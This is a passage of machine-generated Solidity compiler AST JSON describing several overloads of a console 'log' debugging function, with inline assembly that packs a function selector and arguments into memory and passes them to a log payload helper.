sSlot":false,"src":"250358:2:22","valueSize":1}],"id":42034,"nodeType":"InlineAssembly","src":"249987:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42036,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"250396:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42037,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"250402:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42035,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"250380:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42038,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"250380:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42039,"nodeType":"ExpressionStatement","src":"250380:27:22"},{"AST":{"nativeSrc":"250426:156:22","nodeType":"YulBlock","src":"250426:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"250447:4:22","nodeType":"YulLiteral","src":"250447:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"250453:2:22","nodeType":"YulIdentifier","src":"250453:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250440:6:22","nodeType":"YulIdentifier","src":"250440:6:22"},"nativeSrc":"250440:16:22","nodeType":"YulFunctionCall","src":"250440:16:22"},"nativeSrc":"250440:16:22","nodeType":"YulExpressionStatement","src":"250440:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250476:4:22","nodeType":"YulLiteral","src":"250476:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"250482:2:22","nodeType":"YulIdentifier","src":"250482:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250469:6:22","nodeType":"YulIdentifier","src":"250469:6:22"},"nativeSrc":"250469:16:22","nodeType":"YulFunctionCall","src":"250469:16:22"},"nativeSrc":"250469:16:22","nodeType":"YulExpressionStatement","src":"250469:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250505:4:22","nodeType":"YulLiteral","src":"250505:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"250511:2:22","nodeType":"YulIdentifier","src":"250511:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250498:6:22","nodeType":"YulIdentifier","src":"250498:6:22"},"nativeSrc":"250498:16:22","nodeType":"YulFunctionCall","src":"250498:16:22"},"nativeSrc":"250498:16:22","nodeType":"YulExpressionStatement","src":"250498:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250534:4:22","nodeType":"YulLiteral","src":"250534:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"250540:2:22","nodeType":"YulIdentifier","src":"250540:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250527:6:22","nodeType":"YulIdentifier","src":"250527:6:22"},"nativeSrc":"250527:16:22","nodeType":"YulFunctionCall","src":"250527:16:22"},"nativeSrc":"250527:16:22","nodeType":"YulExpressionStatement","src":"250527:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"250563:4:22","nodeType":"YulLiteral","src":"250563:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"250569:2:22","nodeType":"YulIdentifier","src":"250569:2:22"}],"functionName":{"name":"mstore","nativeSrc":"250556:6:22","nodeType":"YulIdentifier","src":"250556:6:22"},"nativeSrc":"250556:16:22","nodeType":"YulFunctionCall","src":"250556:16:22"},"nativeSrc":"250556:16:22","nodeType":"YulExpressionStatement","src":"250556:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42020,"isOffset":false,"isSlot":false,"src":"250453:2:22","valueSize":1},{"declaration":42023,"isOffset":false,"isSlot":false,"src":"250482:2:22","valueSize":1},{"declaration":42026,"isOffset":false,"isSlot":false,"src":"250511:2:22","valueSize":1},{"declaration":42029,"isOffset":false,"isSlot":false,"src":"250540:2:22","valueSize":1},{"declaration":42032,"isOffset":false,"isSlot":false,"src":"250569:2:22","valueSize":1}],"id":42040,"nodeType":"InlineAssembly","src":"250417:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"249817:3:22","parameters":{"id":42017,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42010,"mutability":"mutable","name":"p0","nameLocation":"249829:2:22","nodeType":"VariableDeclaration","scope":42042,"src":"249821:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42009,"name":"uint256","nodeType":"ElementaryTypeName","src":"249821:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42012,"mutability":"mutable","name":"p1","nameLocation":"249838:2:22","nodeType":"VariableDeclaration","scope":42042,"src":"249833:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42011,"name":"bool","nodeType":"ElementaryTypeName","src":"249833:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42014,"mutability":"mutable","name":"p2","nameLocation":"249847:2:22","nodeType":"VariableDeclaration","scope":42042,"src":"249842:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42013,"name":"bool","nodeType":"ElementaryTypeName","src":"249842:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42016,"mutability":"mutable","name":"p3","nameLocation":"249859:2:22","nodeType":"VariableDeclaration","scope":42042,"src":"249851:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42015,"name":"address","nodeType":"ElementaryTypeName","src":"249851:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"249820:42:22"},"returnParameters":{"id":42018,"nodeType":"ParameterList","parameters":[],"src":"249877:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42076,"nodeType":"FunctionDefinition","src":"250594:774:22","nodes":[],"body":{"id":42075,"nodeType":"Block","src":"250660:708:22","nodes":[],"statements":[{"assignments":[42054],"declarations":[{"constant":false,"id":42054,"mutability":"mutable","name":"m0","nameLocation":"250678:2:22","nodeType":"VariableDeclaration","scope":42075,"src":"250670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42053,"name":"bytes32","nodeType":"ElementaryTypeName","src":"250670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42055,"nodeType":"VariableDeclarationStatement","src":"250670:10:22"},{"assignments":[42057],"declarations":[{"constant":false,"id":42057,"mutability":"mutable","name":"m1","nameLocation":"250698:2:22","nodeType":"VariableDeclaration","scope":42075,"src":"250690:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42056,"name":"bytes32","nodeType":"ElementaryTypeName","src":"250690:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42058,"nodeType":"VariableDeclarationStatement","src":"250690:10:22"},{"assignments":[42060],"declarations":[{"constant":false,"id":42060,"mutability":"mutable","name":"m2","nameLocation":"250718:2:22","nodeType":"VariableDeclaration","scope":42075,"src":"250710:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42059,"name":"bytes32","nodeType":"ElementaryTypeName","src":"250710:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42061,"nodeType":"VariableDeclarationStatement","src":"250710:10:22"},{"assignments":[42063],"declarations":[{"constant":false,"id":42063,"mutability":"mutable","name":"m3","nameLocation":"250738:2:22","nodeType":"VariableDeclaration","scope":42075,"src":"250730:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42062,"name":"bytes32","nodeType":"ElementaryTypeName","src":"250730:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42064,"nodeType":"VariableDeclarationStatement","src":"250730:10:22"},{"assignments":[42066],"declarations":[{"constant":false,"id":42066,"mutability":"mutable","name":"m4","nameLocation":"250758:2:22","nodeType":"VariableDeclaration","scope":42075,"src":"250750:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42065,"name":"bytes32","nodeType":"ElementaryTypeName","src":"250750:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42067,"nodeType":"VariableDeclarationStatement","src":"250750:10:22"},{"AST":{"nativeSrc":"250779:372:22","nodeType":"YulBlock","src":"250779:372:22","statements":[{"nativeSrc":"250793:17:22","nodeType":"YulAssignment","src":"250793:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250805:4:22","nodeType":"YulLiteral","src":"250805:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"250799:5:22","nodeType":"YulIdentifier","src":"250799:5:22"},"nativeSrc":"250799:11:22","nodeType":"YulFunctionCall","src":"250799:11:22"},"variableNames":[{"name":"m0","nativeSrc":"250793:2:22","nodeType":"YulIdentifier","src":"250793:2:22"}]},{"nativeSrc":"250823:17:22","nodeType":"YulAssignment","src":"250823:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250835:4:22","nodeType":"YulLiteral","src":"250835:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"250829:5:22","nodeType":"YulIdentifier","src":"250829:5:22"},"nativeSrc":"250829:11:22","nodeType":"YulFunctionCall","src":"250829:11:22"},"variableNames":[{"name":"m1","nativeSrc":"250823:2:22","nodeType":"YulIdentifier","src":"250823:2:22"}]},{"nativeSrc":"250853:17:22","nodeType":"YulAssignment","src":"250853:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250865:4:22","nodeType":"YulLiteral","src":"250865:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"250859:5:22","nodeType":"YulIdentifier","src":"250859:5:22"},"nativeSrc":"250859:11:22","nodeType":"YulFunctionCall","src":"250859:11:22"},"variableNames":[{"name":"m2","nativeSrc":"250853:2:22","nodeType":"YulIdentifier","src":"250853:2:22"}]},{"nativeSrc":"250883:17:22","nodeType":"YulAssignment","src":"250883:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250895:4:22","nodeType":"YulLiteral","src":"250895:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"250889:5:22","nodeType":"YulIdentifier","src":"250889:5:22"},"nativeSrc":"250889:11:22","nodeType":"YulFunctionCall","src":"250889:11:22"},"variableNames":[{"name":"m3","nativeSrc":"250883:2:22","nodeType":"YulIdentifier","src":"250883:2:22"}]},{"nativeSrc":"250913:17:22","nodeType":"YulAssignment","src":"250913:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"250925:4:22","nodeType":"YulLiteral","src":"250925:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"250919:5:22","nodeType":"YulIdentifier","src":"250919:5:22"},"nativeSrc":"250919:11:22","nodeType":"YulFunctionCall","src":"250919:11:22"},"variableNames":[{"name":"m4","nativeSrc":"250913:2:22","nodeType":"YulIdentifier","src":"250913:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251008:4:22","nodeType":"YulLiteral","src":"251008:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"251014:10:22","nodeType":"YulLiteral","src":"251014:10:22","type":"","value":"0xb6f577a1"}],"functionName":{"name":"mstore","nativeSrc":"251001:6:22","nodeType":"YulIdentifier","src":"251001:6:22"},"nativeSrc":"251001:24:22","nodeType":"YulFunctionCall","src":"251001:24:22"},"nativeSrc":"251001:24:22","nodeType":"YulExpressionStatement","src":"251001:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251045:4:22","nodeType":"YulLiteral","src":"251045:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"251051:2:22","nodeType":"YulIdentifier","src":"251051:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251038:6:22","nodeType":"YulIdentifier","src":"251038:6:22"},"nativeSrc":"251038:16:22","nodeType":"YulFunctionCall","src":"251038:16:22"},"nativeSrc":"251038:16:22","nodeType":"YulExpressionStatement","src":"251038:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251074:4:22","nodeType":"YulLiteral","src":"251074:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"251080:2:22","nodeType":"YulIdentifier","src":"251080:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251067:6:22","nodeType":"YulIdentifier","src":"251067:6:22"},"nativeSrc":"251067:16:22","nodeType":"YulFunctionCall","src":"251067:16:22"},"nativeSrc":"251067:16:22","nodeType":"YulExpressionStatement","src":"251067:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251103:4:22","nodeType":"YulLiteral","src":"251103:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"251109:2:22","nodeType":"YulIdentifier","src":"251109:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251096:6:22","nodeType":"YulIdentifier","src":"251096:6:22"},"nativeSrc":"251096:16:22","nodeType":"YulFunctionCall","src":"251096:16:22"},"nativeSrc":"251096:16:22","nodeType":"YulExpressionStatement","src":"251096:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251132:4:22","nodeType":"YulLiteral","src":"251132:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"251138:2:22","nodeType":"YulIdentifier","src":"251138:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251125:6:22","nodeType":"YulIdentifier","src":"251125:6:22"},"nativeSrc":"251125:16:22","nodeType":"YulFunctionCall","src":"251125:16:22"},"nativeSrc":"251125:16:22","nodeType":"YulExpressionStatement","src":"251125:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42054,"isOffset":false,"isSlot":false,"src":"250793:2:22","valueSize":1},{"declaration":42057,"isOffset":false,"isSlot":false,"src":"250823:2:22","valueSize":1},{"declaration":42060,"isOffset":false,"isSlot":false,"src":"250853:2:22","valueSize":1},{"declaration":42063,"isOffset":false,"isSlot":false,"src":"250883:2:22","valueSize":1},{"declaration":42066,"isOffset":false,"isSlot":false,"src":"250913:2:22","valueSize":1},{"declaration":42044,"isOffset":false,"isSlot":false,"src":"251051:2:22","valueSize":1},{"declaration":42046,"isOffset":false,"isSlot":false,"src":"251080:2:22","valueSize":1},{"declaration":42048,"isOffset":false,"isSlot":false,"src":"251109:2:22","valueSize":1},{"declaration":42050,"isOffset":false,"isSlot":false,"src":"251138:2:22","valueSize":1}],"id":42068,"nodeType":"InlineAssembly","src":"250770:381:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42070,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"251176:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42071,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"251182:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42069,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"251160:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"251160:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42073,"nodeType":"ExpressionStatement","src":"251160:27:22"},{"AST":{"nativeSrc":"251206:156:22","nodeType":"YulBlock","src":"251206:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"251227:4:22","nodeType":"YulLiteral","src":"251227:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"251233:2:22","nodeType":"YulIdentifier","src":"251233:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251220:6:22","nodeType":"YulIdentifier","src":"251220:6:22"},"nativeSrc":"251220:16:22","nodeType":"YulFunctionCall","src":"251220:16:22"},"nativeSrc":"251220:16:22","nodeType":"YulExpressionStatement","src":"251220:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251256:4:22","nodeType":"YulLiteral","src":"251256:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"251262:2:22","nodeType":"YulIdentifier","src":"251262:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251249:6:22","nodeType":"YulIdentifier","src":"251249:6:22"},"nativeSrc":"251249:16:22","nodeType":"YulFunctionCall","src":"251249:16:22"},"nativeSrc":"251249:16:22","nodeType":"YulExpressionStatement","src":"251249:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251285:4:22","nodeType":"YulLiteral","src":"251285:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"251291:2:22","nodeType":"YulIdentifier","src":"251291:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251278:6:22","nodeType":"YulIdentifier","src":"251278:6:22"},"nativeSrc":"251278:16:22","nodeType":"YulFunctionCall","src":"251278:16:22"},"nativeSrc":"251278:16:22","nodeType":"YulExpressionStatement","src":"251278:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251314:4:22","nodeType":"YulLiteral","src":"251314:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"251320:2:22","nodeType":"YulIdentifier","src":"251320:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251307:6:22","nodeType":"YulIdentifier","src":"251307:6:22"},"nativeSrc":"251307:16:22","nodeType":"YulFunctionCall","src":"251307:16:22"},"nativeSrc":"251307:16:22","nodeType":"YulExpressionStatement","src":"251307:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251343:4:22","nodeType":"YulLiteral","src":"251343:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"251349:2:22","nodeType":"YulIdentifier","src":"251349:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251336:6:22","nodeType":"YulIdentifier","src":"251336:6:22"},"nativeSrc":"251336:16:22","nodeType":"YulFunctionCall","src":"251336:16:22"},"nativeSrc":"251336:16:22","nodeType":"YulExpressionStatement","src":"251336:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42054,"isOffset":false,"isSlot":false,"src":"251233:2:22","valueSize":1},{"declaration":42057,"isOffset":false,"isSlot":false,"src":"251262:2:22","valueSize":1},{"declaration":42060,"isOffset":false,"isSlot":false,"src":"251291:2:22","valueSize":1},{"declaration":42063,"isOffset":false,"isSlot":false,"src":"251320:2:22","valueSize":1},{"declaration":42066,"isOffset":false,"isSlot":false,"src":"251349:2:22","valueSize":1}],"id":42074,"nodeType":"InlineAssembly","src":"251197:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"250603:3:22","parameters":{"id":42051,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42044,"mutability":"mutable","name":"p0","nameLocation":"250615:2:22","nodeType":"VariableDeclaration","scope":42076,"src":"250607:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42043,"name":"uint256","nodeType":"ElementaryTypeName","src":"250607:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42046,"mutability":"mutable","name":"p1","nameLocation":"250624:2:22","nodeType":"VariableDeclaration","scope":42076,"src":"250619:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42045,"name":"bool","nodeType":"ElementaryTypeName","src":"250619:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42048,"mutability":"mutable","name":"p2","nameLocation":"250633:2:22","nodeType":"VariableDeclaration","scope":42076,"src":"250628:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42047,"name":"bool","nodeType":"ElementaryTypeName","src":"250628:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42050,"mutability":"mutable","name":"p3","nameLocation":"250642:2:22","nodeType":"VariableDeclaration","scope":42076,"src":"250637:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42049,"name":"bool","nodeType":"ElementaryTypeName","src":"250637:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"250606:39:22"},"returnParameters":{"id":42052,"nodeType":"ParameterList","parameters":[],"src":"250660:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42110,"nodeType":"FunctionDefinition","src":"251374:780:22","nodes":[],"body":{"id":42109,"nodeType":"Block","src":"251443:711:22","nodes":[],"statements":[{"assignments":[42088],"declarations":[{"constant":false,"id":42088,"mutability":"mutable","name":"m0","nameLocation":"251461:2:22","nodeType":"VariableDeclaration","scope":42109,"src":"251453:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42087,"name":"bytes32","nodeType":"ElementaryTypeName","src":"251453:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42089,"nodeType":"VariableDeclarationStatement","src":"251453:10:22"},{"assignments":[42091],"declarations":[{"constant":false,"id":42091,"mutability":"mutable","name":"m1","nameLocation":"251481:2:22","nodeType":"VariableDeclaration","scope":42109,"src":"251473:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42090,"name":"bytes32","nodeType":"ElementaryTypeName","src":"251473:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42092,"nodeType":"VariableDeclarationStatement","src":"251473:10:22"},{"assignments":[42094],"declarations":[{"constant":false,"id":42094,"mutability":"mutable","name":"m2","nameLocation":"251501:2:22","nodeType":"VariableDeclaration","scope":42109,"src":"251493:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42093,"name":"bytes32","nodeType":"ElementaryTypeName","src":"251493:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42095,"nodeType":"VariableDeclarationStatement","src":"251493:10:22"},{"assignments":[42097],"declarations":[{"constant":false,"id":42097,"mutability":"mutable","name":"m3","nameLocation":"251521:2:22","nodeType":"VariableDeclaration","scope":42109,"src":"251513:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42096,"name":"bytes32","nodeType":"ElementaryTypeName","src":"251513:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42098,"nodeType":"VariableDeclarationStatement","src":"251513:10:22"},{"assignments":[42100],"declarations":[{"constant":false,"id":42100,"mutability":"mutable","name":"m4","nameLocation":"251541:2:22","nodeType":"VariableDeclaration","scope":42109,"src":"251533:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42099,"name":"bytes32","nodeType":"ElementaryTypeName","src":"251533:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42101,"nodeType":"VariableDeclarationStatement","src":"251533:10:22"},{"AST":{"nativeSrc":"251562:375:22","nodeType":"YulBlock","src":"251562:375:22","statements":[{"nativeSrc":"251576:17:22","nodeType":"YulAssignment","src":"251576:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"251588:4:22","nodeType":"YulLiteral","src":"251588:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"251582:5:22","nodeType":"YulIdentifier","src":"251582:5:22"},"nativeSrc":"251582:11:22","nodeType":"YulFunctionCall","src":"251582:11:22"},"variableNames":[{"name":"m0","nativeSrc":"251576:2:22","nodeType":"YulIdentifier","src":"251576:2:22"}]},{"nativeSrc":"251606:17:22","nodeType":"YulAssignment","src":"251606:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"251618:4:22","nodeType":"YulLiteral","src":"251618:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"251612:5:22","nodeType":"YulIdentifier","src":"251612:5:22"},"nativeSrc":"251612:11:22","nodeType":"YulFunctionCall","src":"251612:11:22"},"variableNames":[{"name":"m1","nativeSrc":"251606:2:22","nodeType":"YulIdentifier","src":"251606:2:22"}]},{"nativeSrc":"251636:17:22","nodeType":"YulAssignment","src":"251636:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"251648:4:22","nodeType":"YulLiteral","src":"251648:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"251642:5:22","nodeType":"YulIdentifier","src":"251642:5:22"},"nativeSrc":"251642:11:22","nodeType":"YulFunctionCall","src":"251642:11:22"},"variableNames":[{"name":"m2","nativeSrc":"251636:2:22","nodeType":"YulIdentifier","src":"251636:2:22"}]},{"nativeSrc":"251666:17:22","nodeType":"YulAssignment","src":"251666:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"251678:4:22","nodeType":"YulLiteral","src":"251678:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"251672:5:22","nodeType":"YulIdentifier","src":"251672:5:22"},"nativeSrc":"251672:11:22","nodeType":"YulFunctionCall","src":"251672:11:22"},"variableNames":[{"name":"m3","nativeSrc":"251666:2:22","nodeType":"YulIdentifier","src":"251666:2:22"}]},{"nativeSrc":"251696:17:22","nodeType":"YulAssignment","src":"251696:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"251708:4:22","nodeType":"YulLiteral","src":"251708:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"251702:5:22","nodeType":"YulIdentifier","src":"251702:5:22"},"nativeSrc":"251702:11:22","nodeType":"YulFunctionCall","src":"251702:11:22"},"variableNames":[{"name":"m4","nativeSrc":"251696:2:22","nodeType":"YulIdentifier","src":"251696:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251794:4:22","nodeType":"YulLiteral","src":"251794:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"251800:10:22","nodeType":"YulLiteral","src":"251800:10:22","type":"","value":"0x7464ce23"}],"functionName":{"name":"mstore","nativeSrc":"251787:6:22","nodeType":"YulIdentifier","src":"251787:6:22"},"nativeSrc":"251787:24:22","nodeType":"YulFunctionCall","src":"251787:24:22"},"nativeSrc":"251787:24:22","nodeType":"YulExpressionStatement","src":"251787:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251831:4:22","nodeType":"YulLiteral","src":"251831:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"251837:2:22","nodeType":"YulIdentifier","src":"251837:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251824:6:22","nodeType":"YulIdentifier","src":"251824:6:22"},"nativeSrc":"251824:16:22","nodeType":"YulFunctionCall","src":"251824:16:22"},"nativeSrc":"251824:16:22","nodeType":"YulExpressionStatement","src":"251824:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251860:4:22","nodeType":"YulLiteral","src":"251860:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"251866:2:22","nodeType":"YulIdentifier","src":"251866:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251853:6:22","nodeType":"YulIdentifier","src":"251853:6:22"},"nativeSrc":"251853:16:22","nodeType":"YulFunctionCall","src":"251853:16:22"},"nativeSrc":"251853:16:22","nodeType":"YulExpressionStatement","src":"251853:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251889:4:22","nodeType":"YulLiteral","src":"251889:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"251895:2:22","nodeType":"YulIdentifier","src":"251895:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251882:6:22","nodeType":"YulIdentifier","src":"251882:6:22"},"n